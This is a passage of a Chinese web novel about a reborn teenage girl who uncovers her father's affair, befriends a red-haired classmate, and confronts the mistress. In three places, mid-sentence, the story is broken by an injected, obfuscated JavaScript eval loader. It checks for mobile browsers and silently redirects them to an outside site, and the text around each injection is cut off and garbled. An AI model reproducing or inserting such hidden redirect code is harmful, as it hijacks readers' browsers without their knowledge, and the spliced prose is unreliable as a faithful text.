多奇怪,明明那个时候的电视屏幕分辨率不高,画质有些模糊,可是广告里的主角,却那么有生命力,鲜活灵动,就像这个蓬勃生长的年代。 穆逢走到她身边,“你喜欢这个?” 她出神地盯着电视屏幕,“这首歌不错,你不觉得吗?” 他侧头,看着她闪闪发光的眼睛和兴奋地微微发红的面孔,“嗯,很可爱。” 秦遇的注意力都在广告上,根本没听清他说了什么,转头问,“你刚说什么?” 穆逢的表情有点僵硬,他做了个奇怪的动作,抬手揉了揉自己的头发,那头张扬的红发翘起一个角,可他似乎没发觉,而是冷着脸催促她。 “快走,饿死了!” “好,来了。” 走出电梯的时候,秦遇“啊”了一声,停住脚步。 穆逢不耐地皱起眉头,“你又怎么了?” 秦遇踌躇了一下,把他拉到一边,小声提议,“要不,我们去吃商场外面的麻辣烫吧,我知道一家小店,可好吃了。” 穆逢拒绝地斩钉截铁,“不要,我要吃牛排。” “可是……” 穆逢不悦地皱起眉,“喂,好学生,是你要请我吃饭,难道我还不能选吗?” 秦遇立刻安抚道,“能选,当然能选,只是……”她靠近他,吞吞吐吐地说,“我,我没带够钱。” 现在,她口袋里只有两枚一块钱的硬币,就算钱包里的钱没被太妹抢走,全身上下加起来也不过三十多块钱,而在这家餐厅,随便一壶花茶都要40多块。 “要不,再等两天?等我还了相机,拿回押金,我再请你来这里吃,行吗?” 穆逢的嘴角抽搐了一下,表情有点复杂,像是震惊中带点意外,意外中又带点好笑,他盯着她看了几秒,忽然拉起她往餐厅里走。 一边走,一边说,“你没带钱,我带了。” “我从来不让女生买单。” 真是钢铁直男的大男子主义发言!不过,看在他要买单的份上,他说什么就是什么吧。 还没进入十二月,餐厅门口已经早早摆上了圣诞树,树上挂满琳琅满目的装饰,彩色灯泡、红绿缎带、金箔纸包起来的小礼物、还有装在透明塑料袋里的、她最喜欢的姜饼人。 玻璃旋转门一推开,慵懒低缓的爵士乐流淌出来,空气中漂浮着清甜的橙花香味,穿着白衬衣、修身黑马甲的侍应生迎上来,为他们带路。 侍应生脖颈上的白色领花,一尘不染,浆洗得十分硬挺。 这种装潢和风格,在作风保守的本城,算是开风气之先了。 “两位这边请,看想选什么座位?靠窗的卡座视野好,可以看到远处的电视塔,中间的圆桌更宽敞……” 侍应生一边带路,一边介绍座位,穆逢问她,“你喜欢哪里?” “靠窗吧。” 她一向喜欢坐在窗前,在她看来,玻璃窗有一种魔力,不管大小、形状、材质,只要是块玻璃窗,就能把外面的世界框成一幅画。 穆逢吩咐侍应生,“给我们挑个靠窗的位子,要最好的。” “是,这边请。” 绕过中间的圆桌区,再走过一条长走廊,就到他们的座位了,就在这时,坐在圆桌旁的一对客人站起身,准备离开。 尽管只看到了背影和侧脸,秦遇还是立刻认出,那位男客人,不是别人,正是她爸爸。 旁边亲密地挽着他的手臂,笑靥如花的女人,正是他的出轨对象陈宁。 一丝凉意从手心升起。 秦遇记得很清楚,爸爸早晨出门时,对妈妈说过“晚上不回家吃饭了,要陪客户”。 什么陪客户?明明就是陪情人! 太过分了!他怎么能这么理直气壮地撒谎? 她只顾着生气,没注意到爸爸和陈宁已经迎面走来,马上就要和她打照面,情急之下,她转过身,一头埋进穆逢胸口。 “喂,你怎么了?” 穆逢被她突然的动作搞得不知所措,那种感觉又来了,他能清晰地感觉到自己心跳如擂鼓,敲得他头昏脑涨,有点眩晕。 侍应生倒是从善如流地停下,露出一个了然的笑容,侧头看向窗外,表示“我什么都没看到。” 秦遇紧紧抓着穆逢的手臂,悄悄抬起头,越过他的肩膀,看见爸爸和陈宁的背影从餐厅门口消失,这才松一口气,放开他。 穆逢拉住她,“到底怎么回事?刚刚那人,你认识?” 秦遇没有看他,木然地说,“那个男的,是我爸。” 牛排在铁板上滋滋作响、意面上装饰着新鲜罗勒叶、香蕉船上插着迷你太阳伞、透明玻璃壶里,浅橙色的水果茶在愉快地冒着泡泡…… 侍应生一道接一道地上菜,秦遇怀疑穆逢把店里所有的菜品全点了一遍。 自从她说了“那是我爸”之后,穆逢就不再问了,而是故意岔开话题,不停劝她吃点这个、喝点那个。 秦遇心中升起感激之情,他虽然只有十几岁,又叛逆又别扭,可在这种事情上,却意外地懂分寸。 他救了她,又请她吃饭,实在没有义务再承受她的冷脸。 说到底,爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896956|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸出轨这件事她早就知道,刚刚不过是亲眼看见,不该被影响。 她很快为自己做好心理建设,拿起刀叉,切下一块牛排放到嘴里。 “真好吃,谢谢你,穆逢。” 她咽下牛排,笑着向他道谢。 见她这样认真,穆逢反而有点别扭,他抓了抓头发,哼了一声,算是回应。 美味的食物最能慰藉人心,秦遇从开始的胃口不佳,渐渐变得大快朵颐,吃到畅快处才发觉,穆逢好像没怎么吃,反而一直在看她。 “看我干什么?你怎么不吃?” “我只喜欢吃牛排,对别的不感兴趣。”穆逢把吃完的碟子推到一边,给自己倒了一杯冰水,“不过,我发现你吃东西特别香,上次你在操场外吃麻辣饼也是这样,我还以为那饼多好吃,特意去尝了尝,味道也就一般,真是被你骗了。” 秦遇耸耸肩,“每个人口味不一样,反正我觉得挺好吃的。” 穆逢问她,“对了,你没事租相机干什么?” 秦遇嚼着嘴里的鱿鱼圈,含糊地说“这是不能说的秘密。” 穆逢嗤笑一声,“你的秘密可真多。” 秦遇耸耸肩,她的秘密的确不少,最大的那个,恐怕说出来他也不会信。 不过,经他提醒,秦遇倒是想起了一件事,那群太妹动作粗鲁,把相机从书包里倒出来,也不知道有没有摔坏。 用手帕擦掉指尖的油渍,她迅速翻出相机检查了一遍,还好,没有什么外伤,再开机,画质也没受影响。 酒足饭饱,她开始犯困,再加上餐厅里暖烘烘的气氛,她忍不住打了个哈欠。 穆逢抬头看看墙上的挂钟,“还有十分钟,我送你回家。” 十分钟后,就是九点半,是晚自习结束的时间,卡在这个点回家,就不会让爸妈起疑。 她坚持让他送到巷子口就下车,“不能再往里送了,都是邻居和同学,我怕被人看见说闲话。” 这个年代,父母对孩子的早恋问题持严防死守态度,但凡有些风言风语,都要被爸妈盘问半天,多一事不如少一事。 穆逢没说什么,在巷子口停下车,让她下来。 “我先回家了,今天,谢谢你。” 她摘下头盔还给他。 路灯昏黄的光洒下来,给他镀上一层模糊的柔光,越发显得一双眼睛明亮又锐利。 他靠在摩托车身上,她站在他面前,两人的身影重叠在一起。 她说一声“再见”,正要转身,被他叫住。 “等一下,这个给你。” 他从车身前面的挂袋里拿出一袋东西,塞到她手里。 是“蓝岛咖啡”的姜饼人,装在透明塑料袋里,一个姜饼男孩,一个姜饼女孩,姜饼男孩戴着红色的领结,姜饼女孩戴着红色的发带,两人身上的纽扣都是绿色的,经典圣诞配色。 “好可爱。”秦遇发自内心地赞叹,“是你买的吗?谢谢你,穆逢!” 穆逢移开视线,抓了抓头发,“哦,没什么,不过是餐厅给的赠品。” 秦遇看出来了,他不好意思的时候,就会避开她的眼睛,还会不自觉地抓头发。 真是别扭。 她有点想笑,又怕被他看见更不好意思,于是假装没看出来,把姜饼人小心地放进书包,跟他挥手道别。 穆逢点点头,骑上摩托车掉转头离开。 住在这条巷子里的学生陆续回来了,秦遇加快脚步向家走去,一阵冷风吹过,她裹紧了身上的外套,手指触摸到柔滑冰凉的皮料,奇怪,她的校服,好像不是这种触感。 一秒之后,她反应过来,立刻掉头奔向巷子口。 她还穿着穆逢的皮衣,得还给他。 路灯下只余一片橘色光晕,穆逢的人和车早就连影子都不见了。 算了,明天再还给他吧。 12. 送药 进门之前,秦遇把皮衣脱下来塞进书包里。 客厅的灯还亮着,妈妈和爸爸一起窝在沙发上看电视,时不时交谈几句,温馨又平淡。 可是回想起餐厅那一幕,她却觉得眼前的场景有些讽刺。 “小遇,怎么呆站着,快脱了外套进来,妈妈煮了红豆汤,喝点暖暖身子。” 妈妈见她回来,迎上来接过她的书包。 “哎哟,今天的书包可真沉,作业很多,是不是?“ “嗯,新发了几本练习册,我来拿吧,妈妈。” 她从妈妈手里拿过书包,穿过客厅的时候,爸爸亲切地叫她,“来,小遇,坐下跟爸爸聊聊天,今天上学还顺利吗?” “不了,爸,我作业还没写完。” 她径直走向自己的房间,看都没看爸爸一眼。 还有三天,三天以后,爸爸就要出差,到时候她会找个理由和陈宁见面,把话说清楚,请她离这个家远一点。 明天放学后去冲洗胶卷、拿回租金,对了,还要把衣服还给穆逢…… 想着这些,她迷迷糊糊地闭上了眼。 第二天早晨,她比平时早起了二十分钟,背着书包,一路小跑出家门。 晨跑这件事,比她想象得更难,对于一个活了两辈子都不爱运动的人来说,仅仅慢跑就让她心如擂鼓。 是纯粹物理意义上的心如擂鼓。 她跑跑停停,在停下的间隙掏出手帕纸,擦掉额头上的汗。 跑着跑着,身上热起来,她把校服外套脱掉,系在腰间。 几个同学骑着车子经过,跟她打招呼的时候露出好奇的神情。 拐过主干道上的路口,遇见了徐伟民,因为不会骑自行车,这家伙常年腿着去学校,看见秦遇,他停下来等她。 “今天怎么没骑车子?” “我……在……锻炼身体呢……”秦遇气喘吁吁地回答。 正说着,徐伟民班里的一个男生骑着车子经过,徐伟民大喊一声,“唉,王鹏,等等我。”紧走两步跳上男生的车子后座。 “小遇,慢慢锻炼,我先走了。” 切,一点都不仗义,本来还想他陪着自己一起跑的。 秦遇对他翻了个大白眼。 就在这时,身后忽然想起摩托的轰鸣声,秦遇正想着这声音有点熟悉,穆逢已经骑着摩托来到她身边。 他今天穿得比较厚,灰色帽衫外面套了一件红黑格子的棒球服,还戴着口罩。 穆逢放慢了速度,皱起眉头看着她,“怎么跑着来学校?车子坏了?”大概是因为隔着口罩,他的声音听起来有点模糊。 秦遇摆摆手,“没有,我打算从今天开始,都跑着来上学。” 边跑边说实在太累,她干脆停下来,穆逢也给摩托熄火。 秦遇大口喘气,休息了足有半分钟,才继续说,“经过昨天那件事,我明白了,打铁还得自身硬,我要先把跑步练好,这样万一再遇到太妹,打不赢总可以逃跑。” “再说了,将来做社畜,要996,身体不好可不行!” 说到这里,她忽然觉得自己很瞎,都重活一世了,怎么还想着做社畜?她要搞钱,争取提前实现财富自由,不再做任资本家驱使的牛马。 虽说目前她还未成年,但她可以尝试劝说妈妈炒房!毕竟,从现在开始的十年以内,正是房地产的爆发期。 穆逢露出不解的神色,“社畜,是什么东西?” 秦遇的思绪被拉回来,“哦,社畜嘛,就是字面意思,社会上的牲畜,就是进入社会以后,活得像个牲口。” 穆逢低头沉思,“真新鲜,我倒是第一次听见这种说法。” 秦遇抬腕看了看手表,“我得继续跑了,还有十分钟就要早读了,拜拜。” 说着,抬腿向前跑,穆逢看着她渐渐远去的身影和不断甩动的马尾,跨坐到摩托车上,启动引擎。 上午的大班空,照例要去收周记,走到穆逢的座位时,他正趴在桌上咳嗽,秦遇这才反应过来,他戴口罩是因为着凉了。 都是因为昨天他把外套借给自己。 秦遇顿时觉得十分愧疚,她想去学校门口给他买点药,可是转念一想,自己的钱都拿去租相机了,仅剩的几十块也被洗劫一空,于是转而向姚摇借了三十块钱。 姚摇担心地摸摸她的额头,“你生病了?” “不是,我给穆逢买点药。” 姚摇的嘴巴张成大大的O型,接着,眼里亮起熊熊八卦之光。 “有情况,快告诉我,到底怎么回事?你为什么这么关心他,嗯?” 秦遇看看时间,还有十分钟就上课了,拉起她就往楼下跑,“走,跟我去买药,边走边说。” 路上,秦遇把昨天自己遇到太妹,险些被打,又被穆逢救下的事告诉她,姚摇听得又是生气,又是兴奋。 “这些太妹真过分,都欺负到我们七中头上来了!她们这样勒索抢钱,真该进少管所!” “不过你和这个穆逢还真是有缘分,就在太妹们制住了你,要动手的一瞬间,他从天而降,吓退了恶人,救下你,啧啧,简直是堪比偶像剧的桥段,啊!” 姚摇说着,兴奋地尖叫了一声,引来周围同学侧目,她赶紧捂住嘴巴,“怎么样?怎么样?有没有心脏扑通扑通跳的感觉?” 秦遇鄙夷地瞪她一眼,“我才没有那么花痴!” 心里想得是,我要忙的事多着呢,根本没空想这些。 她把感冒药和装在袋子里的皮衣,一起放到穆逢桌上。周围的同学或借着书本的遮掩,或装作无意识地转头,偷偷瞄过来,后排几个和穆逢玩得好的男生,则是大喇喇地看过来,脸上露出不怀好意的笑,还有人偷偷吹起了口哨。 秦遇自觉已经是个成熟的大人,不会在意青春期男生的这些调皮举动,只当没听见。 穆逢接过药,表情有些意外,低声说了句“谢谢。” 她点点头,转身回了自己的座位。 没想到,傍晚冲洗胶卷的时候,又遇见了他。 那时候,她刚刚从相机店出来,怀里抱着冲洗好的照片,还有拿回来的300块押金。 她从店里出来的时候,穆逢正好从隔壁的摩托车装备店走出来,手里拎着一个醒目的粉色头盔。 她正想打招呼,一个穿黑色西装的男人大步向穆逢走来,两人一边交谈,一边向旁边的暗巷走去。 穆逢一闪而过的侧脸,看起来十分低沉。 听说很多太妹都会结交社会上的男朋友,靠他们来摆平麻烦、给自己出气。 会不会是那个叫张豆豆的,喊人来报复穆逢? 她心中一动,调转方向,悄悄尾随他们到了暗巷口。 巷口有一个半人高的绿色垃圾桶,她捏着鼻子,借着垃圾桶的掩护,探头过去看了一眼。 还好,只有他们两个人,不是那种拖到暗巷里,叫一群人来暴揍一个的街头戏码。 暗巷里只有一盏路灯,灯下,两颗火苗闪烁着,她眯着眼睛看了一会,认出那是两个人在吸烟。 因为距离太远,她看不清两人的表情,但很显然,两个人没有要动手的意思,反而是抽着烟,进行友好的交谈。 说着说着,穿西装的男人,还递给穆逢一个黑色塑胶袋。 既然打不起来,她就没有偷看的必要了,秦遇蹑手蹑脚地后退几步,转身离开。 照片冲洗好了,押金也拿回来了,秦遇今天的心情非常好,晚自习结束后,她抱着复读机,边听歌,边走在回家的路上。 路上遇见能同走一段路的同学,就取下耳机,聊聊天,没人的时候,再戴上耳机听歌。 随身听太沉,体积又大,拿来听歌实在不方便,如果能有MP3就好了,她要攒攒钱,过年的时候给自己买只MP3…… 她听着歌,专注往家走,完全没留意到,巷子口的路灯下有人在等她。 不怪她认不出,穆逢双手插兜,帽衫的帽子盖住扎眼的红发,黑色口罩之上,只露出一双淡漠的眼睛。 穆逢跑到她面前,拦住去路的时候,秦遇吓了一跳,后退了两步。 “是我。”穆逢捋下帽子,露出微微凌乱的红色头发,带着浓浓的鼻音。 秦遇拍拍胸口,按停随身听,“不带这么吓人的!” “我来还你东西。” 秦遇有点迷茫,“我不记得我有什么东西在你那里。” 穆逢催促道,“把手伸出来,看了你就知道了。” 秦遇犹豫了一下,朝他伸出手,手心向上。 穆逢从口袋里掏出一卷东西,放到她手上,秦遇低头,那是一卷钱,有五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896957|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元的、十元的、一元的,还有五角的。 数了数,一共三十七块五角。 秦遇迟疑地问,“这是……” “这是你被抢走的钱,还给你。” 穆逢的语气不咸不淡,像是在说今天天气不错一样简单,他的嗓音略带沙哑,对她说话时,俯身看向她,亮晶晶的茶色瞳孔里,映出她的面孔。 这一刻,说不感动是假的。 她自认为已经是成熟理智的大人,没想到,还是会被少年真挚简单的举动击中。 见她不说话,穆逢以为她在担心以后的事,安慰道,“你不用害怕,我已经警告过她们了,她们以后绝对不敢再欺负你。” 秦遇深吸一口气,压下翻涌的情绪,问道,“你吃药了吗?” 穆逢没想到她忽然问起这个,怔了一下,挠了挠头,“忘记吃了。” 她忽然提高音量,向前一步,不悦地问他,“你又跟人打架了?” 穆逢一向最讨厌别人质问自己,可是此刻,她气势汹汹的样子让他想起在巷子里,她扑向太妹、掐住她脖子的一幕,不知道为什么,竟一时有些气短。 他生硬地解释道,“她们的男朋友先动手的,我只是自卫。” 秦遇立刻抓起他的手,拉他到路灯下,借着灯光查看。先把左手的手心手背看了一遍,又翻来覆去检查了右手,还好,都没有伤口。 穆逢的心砰砰地跳起来,晕眩的感觉又来了。 她的手真小,软软的,指尖微凉,让他想要不自觉的张开手,包覆住…… 秦遇忽然扯下他的口罩,从眉骨到下巴扫视了一遍,还好,没有受伤、也没有肿胀青紫。 穆逢的声音因紧张而低哑,“你干什么?” “检查你有没有受伤。” 秦遇说着,后退一步,正色道,“你把我的钱要回来,我很感动,但是如果你为此打架受伤,我倒宁愿不要这些钱。” 说着,她弯弯的眉毛蹙起来,眼神打量着他的双颊。 “你的脸看起来有点红,不是发烧了吧,快回家休息。” 穆逢不声不响地拉起口罩,遮住大半张脸,“我才不会那么容易就发烧。” “记得回家先吃药。” “哦。” 话说到这里,就该道别,各自回家。 秦遇原本不想多管闲事,可是既然他为自己做了那么多,她也该提醒他一些事情。 “对了,今天下午我去洗照片,看见你和一个穿黑西装的男人在一起,他是谁?” 穆逢的眼眸深处,有什么东西一闪而过,可是下一秒,眼神又恢复了刚才的透亮。 他看着她,眸中漾起笑意,一字一句地说“这是~不能说的秘密~” 这句话,摆明了是在学她! 被自己发出的回旋镖打中,秦遇气得掉头就走,穆逢立刻拉住她的袖子,“开个玩笑,别生气,那人是个老朋友,具体的,现在的确不方便说。” 秦遇冷哼一声,“我才不想知道。” “我是好心提醒你,不要跟社会上的小混混打交道,你只是个中学生,再能打,也还是个小孩,跟他们混,吃亏的是你。” 穆逢忍不住吐槽“你说话怎么这样老气横秋的,说我是小孩,你不是比我还小?” “我本来就……”秦遇一激动,差点没忍住,把“我本来就比你大”说出来,她眼珠一转,严肃道,“你没听过吗?青春期的女生,心理年龄比同龄男生大,更成熟。” “所以,多听听女生的建议,总没错。” 穆逢举手作投降状,“好吧,你总有那么多道理,我说不过你。” 跟穆逢道别,走进巷子里的时候,秦遇有些懊恼,刚刚自己居然因为他一句话,气得掉头就走,实在是太幼稚了。 该不是以中学生的身份生活久了,连内心也倒退回青春期了吧? 她按下随身听的播放键,徐怀钰轻快的歌声在耳边响起。 “…… 你不要学劳勃狄尼洛 装酷站在巷子口那里等我 ……” 真奇怪,听着这首歌,她眼前居然浮现出刚才穆逢站在路灯下等她的身影,修长轻薄的少年身形,一团火一样的红发,透亮又清澈的眼睛…… 她甩甩头,果断快进到下一首歌。 13. 对峙 正午时分,碧空万里,湛蓝如洗。 是个好天气。 秦遇走出校门,深吸一口气,往东边的大路走去。 拐过东边的路口,是一条宽阔的马路,路两边有不少商店,专做学生生意。比如漫画租赁店,里面可以租到各种日本漫画和台湾的口袋言情,比如爱乐人音像店,可以买到正版的流行歌曲磁带,音质好但价格昂贵。不过,最多的还是各种小吃店,米皮店、米线店、炒菜米饭、炸鸡柳一字排开,为一天恨不能吃五餐的中学生提供热量和油水。 在这其中,坐落着一家风格别致的饮品店,店外围墙由暗红色砖块砌成,透明玻璃门上方挂着一块木头牌子,刻着“红茶馆”三个字,弓形茶色玻璃雨搭下,挂着一只精巧的黄铜风铃?,风一吹,发出清脆悦耳的声响。 门前是一条短短的、碎石铺成的小路,路两边错落摆放着绿植盆栽。 和小吃店散发出的油烟气不同,这家店周围萦绕着淡淡的茶香。 秦遇推开门,穿蓝白色洛丽塔裙子的女侍应生抬起头,“你好,里面请,请问几位?” “我昨天已经预定了位置,姓秦,现在,我想先打个电话。” 侍应生翻了翻记录本,找到她留下的姓名和联系方式,笑着指指右手边的半封闭式卡座,“那里有一台电话,请用,每分钟五角钱。” 秦遇点点头,坐到卡座里,拿起微微泛黄但擦拭得很干净的电话,掏出兜里的便签本,拨通了电话。 “喂,你好。” 电话那端响起一个女人的声音,温和客气。 “陈宁阿姨,是陈宁阿姨吗?我是秦遇,我,我在学校遇到一点事。” 秦遇用一种快要哭出来的声音说,那边停顿了一两秒之后,语气忽然变得充满关切。 “小遇?是小遇?没想到你会打给我,我很高兴,也很意外,你遇到什么事了?” 伴随着她的声音,电话那端响起推开椅子的声音、高跟鞋敲击地面的声音、推开门的声音,应该是她走出了办公室。 秦遇缠紧指间的电话线,“宁宁阿姨,我在学校里遇到了一些麻烦事,他们、他们问我要一百块……可是爸妈都不在家,我,我真的不知道该怎么办……爸爸曾经说过,你是他的好朋友,如果有事,我可以找你。” 说着说着,她哽咽起来。 “好好,你先别哭,我等下就过来,你别担心,阿姨会帮你。” “好,阿姨,我在复兴一路的271号红茶馆等你,拜托,你快点来。” 放下电话,秦遇面无表情地走出卡座,侍应生疑惑地看了她一眼,见她面上没有一滴泪,手里备好的纸巾又放了回去。 秦遇走到最里面,在预定好的位子坐下,凝视着窗外,静静等待陈宁的到来。 陈宁会不会起疑,转而打给爸爸求证? 也许吧。 秦遇仰头,透过玻璃窗,看向被屋顶分割出的三角形天空。 这个时间,爸爸正在万米高空上,她故意挑在此时打电话,就是为了让陈宁无法求证。 另一重把握,是前世的时候,爸爸和陈宁曾以因公外出的名义,带她去一座海滨城市玩,那时候,陈宁就在有意无意地讨好她,可恨她当时全然不知,只以为这是一个温柔可亲的阿姨。 陈宁在爸爸的塑料工厂里,从秘书干起,一晃多年,已经爬到了车间主任的位置。 她还记得上一世,爸妈吵架时,爸爸曾脱口而出,“你根本不理解我,你根本不懂我在外承受了什么样的压力。” 言下之意,只有陈宁才是懂他心酸的解语花,是配站在他身边一同抵抗风雨的人。 多奇怪,当初明明是他和妈妈讲好,一个主外、一个主内,钱赚得多多的,给孩子的爱也要多多的。 妈妈听了他的安排,尽心尽力做一名家庭主妇,可他却开始抱怨,认为妈妈跟不上自己的脚步。 黑咖啡和热巧克力被端上来,热气升腾在空气中,暖烘烘的香味飘入鼻中。 十七分钟后,陈宁匆匆赶来。 她走得又快又急,皮鞋的鞋跟在木地板上敲出咚咚响声,还没落座,关切的声音就先传过来。 “小遇,你没事吧?发生什么了?” 秦遇转过头,对她淡淡一笑,“阿姨,请坐。” 陈宁有些迟疑,她以为她会看见一个惊慌失措的少女,双眼通红,眼角带泪,可眼前的秦遇冷静得可怕,淡淡的笑容下藏着若隐若现的锋芒,和刚才电话里的她简直判若两人。 她坐到她面前。 “小遇,你找我来,是有什么事?” 秦遇盯着她,慢慢说,“不急,阿姨,先喝点东西,喏,你最喜欢的热巧克力。” 陈宁有些意外,“你怎么知道我喜欢热巧克力?” 秦遇笑容加深,故意用天真的语气说,“因为爸爸说过呀。” 陈宁露出一个略带尴尬的笑,低头喝了一口热巧。 “我不仅知道你喜欢热巧,我还知道,你家住在长陵街749号J栋1103室,你老公在庆发机械厂作机械师,你儿子在第五小学三(二)班念书,学号是……” 陈宁脸上的笑容消失,一丝惊疑爬上她的面孔。 “小遇,你,你调查我?你要做什么?” 秦遇没说话,低头从包里翻出一个牛皮纸袋,丢到桌上。 牛皮纸袋没有封口,被甩到桌上时,露出几张照片的边角。 陈宁拿起照片,秦遇目不转睛地盯着她,看着她把手里的照片越攥越紧。 “这是什么意思?你偷拍我儿子?” 秦遇立刻张开双手,“不,你不要往我身上泼脏水,这些是我捡来的,我可不知道是谁拍的。” “你?!”陈宁的表情有些扭曲,可是她很快调整好情绪,恢复了之前的温和有礼,“小遇,我想,我们之间是不是有什么误会,或许,我们应该开诚布公地谈一谈。” “没有误会,”秦遇回答地斩钉截铁,“今天叫你来,我就是要告诉你一件事,”她身子往前探,靠近她,一字一句道“离我爸远一点。” 陈宁讪笑一声,“你这孩子,真是的,我和你爸只是普通同事,你一定是误会……” 秦遇打断她的话,“别跟我打哈哈!普通同事会凌晨煲电话一个小时?普通同事会在旋转餐厅偷偷约会?普通同事会出差时住一间房?” 陈宁被她连珠炮般的发问惊住,“你……你怎么知道?不是,你别多想,都是工作电话……我可以解释。” 陈宁穿着一身淡粉色针织裙,修身的款型勾勒出她姣好的身体曲线,看着这样的她,秦遇想到妈妈日渐圆润的腰身,和爸爸对妈妈说话时不耐烦的表情。 上次在蓝岛咖啡,爸爸对着眼前这个女人,却笑得那样温柔、动作那样体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈宁的脸青一阵白一阵,涂着亮晶晶唇蜜的双唇微微颤抖,像两条可笑的虫子,“我会报警。” “随便,我未成年。而且,你要告我爸唯一的女儿,你觉得,他会怎么想?” 陈宁的胸口剧烈起伏着,她死死瞪着她,如果眼神可以杀人,秦遇怀疑自己早就被她生吞活剥了,不知道过了多久,她终于平静下来,再度开口。 “给我半个月时间,半个月后,我会找机会离开你爸爸。” “成交。” 陈宁提起她的硬质黑色皮包,临走前,又问了她一个问题。 “你今年多大?” 秦遇粲然一笑,“十五岁。 她走之后,秦遇才发觉,自己的后背早已湿了一片。 接下来的事,就是要逐步改变妈妈的心态,让她意识到婚结了也是可以离的,没有感情的话,没必要强扭在一起一辈子。 或许应该先给她看一些相关的影片,比如说,《廊桥遗梦》? 她站起身,往门口走去,心头一阵轻松,这件事终于可以告一段落了。 身后响起轻微的脚步声,她以为是侍应生,并没在意,忽然,有人在她肩上轻拍了一下,下一秒,清冷的少年声线响起。 “原来,你租相机是为了这个。” 14. 跟踪 秦遇僵在原地,慢慢转过身,一双熟悉的、精致又冷冽的眉眼,就在眼前。 她瞬间暴怒,用手指着他,“你!你怎么能偷听我说话?!” 穆逢露出无辜的神色,指指紧挨着她座位的卡座,“我又不是故意的,我一直趴在那里睡觉,明明是你们说话太大声,把我吵醒了。” 那里没开灯、也没有侍应生送吃的,她一直以为没有人,谁能想到他居然在这里。 他还穿了一身黑!黑卫衣、黑牛仔,简直像是故意蛰伏在暗处、刺探消息的! “可是,你为什么会在这里?” 穆逢无奈地苦笑,“店家开门迎客,我进来消费,不可以吗?” “你还不穿校服!” 穆逢继续无辜脸,“我是转学生,校服只能等下学期。” “你……”秦遇气到极点,反而说不出话来,她闭了闭眼,心里其实明白,他说的对。说到底,只能怪自己倒霉,选了这么个没有包间的地方,又没有仔细检查周围。 她盯着他,冷冷地说,“你知道了我的秘密。” “你放心,我记性不好,出了这扇门,就什么都不记得了。” “如果你觉得还不够,我也可以告诉你一个,我的秘密。” 穆逢向前一步走近她,垂眸,鹰隼一样锐利的视线牢牢锁住她,神情郑重。 阳光从他身后洒过来,她大半个身子都被罩在他的身影中。 这感觉,就好像他在邀请她,成为隐秘的共犯。 秦遇别开眼,“算了,我对别人的秘密没兴趣。” 穆逢没再说什么,绕到她身前推开玻璃门,“走吧,回学校。” 下台阶时,她一脚踩空,他冲过来扶住她,秦遇抬头,正好撞进他眼睛里。他的眼睛像黑沉沉的漩涡,最中间却有着茶色的瞳仁,亮晶晶的闪着微光。 挺俏的鼻梁,轻薄的下颌线,这张脸精致又洋气,混杂着孩童的纯真和少年的英俊感。 阳光洒下来,在他的红发上反射出细碎的金光,在这一片暖色中,耳边朴素的银耳环,是唯一的冷色。 她低下头,推开他的手,“谢谢。” “总之,拜托你,这件事不能告诉别人。” 穆逢耸耸肩,“当然,不过,你怕什么?犯错的又不是你,是那些无聊的大人。” 秦遇斜他一眼,“家丑不可外扬,你没听过吗?” 穆逢淡淡地“哦”了一声。 “不过,你学大人说话,还真挺像的,你很会谈判。” 秦遇冷笑一声,那当然,她的灵魂早就二十多岁了,是彻头彻尾的大人! 快到校门口时,秦遇说了一声“作业还没写完,我先走了。”就想跑回教室,这当然是谎话,她只是不想被人看到和他一起进学校,被人说闲话。 穆逢叫住她,“等一下。” “干什么?” “这个给你。”他把一包手帕纸塞到她手里,“你这里,”穆逢指指自己的额头,“一直在出汗。” 会出汗,当然是因为紧张。 原来,她在这场对峙中从头到尾表现出来的镇定,恰如一只光洁无暇的瓷器,背面早就露出了一条裂缝。 秦遇握紧手帕纸,含糊地道了声谢,往教室跑去。 半个月后,陈宁的丈夫在车间作业时,不慎从梯子上摔下来,摔断了腿,陈宁因为要在家照顾他,向秦遇爸爸的塑料杯厂提出辞呈。 下午放学后,她简单吃了点饭,就跑到影像店买碟片。 这是一家盗版影像店,藏在学校对面商店旁的小巷子里,位置隐蔽,但本校学生大多都知道。 在网络尚未普及、正版影片资源有限的年代,这家盗版影像店给没钱的学生提供了不少精神滋养。 很多正版店里找不到的影像资源,这里都有。 当然,正版电影放在塑料盒子里,封面上的海报印刷清晰,外面还有一层薄薄的塑封,盗版的就没这待遇了,一张扁扁的纸盒里,放着一张光碟,讲究的,会给光碟套一层薄塑料袋。 理着莫西干头的老板,瘦得像个吸血鬼,深秋天气里敞怀穿一件黑色铆钉皮马甲,露出里面T恤上巨大的阿尔·帕西诺头像,脚下一双切尔西靴子,擦得油光锃亮。 秦遇忍不住低头轻笑,老板真是个不折不扣的时尚弄潮儿,谁能想到,多年后“文艺复兴”,切尔西靴卷土重来,成为小学生趋之若鹜的时尚单品。 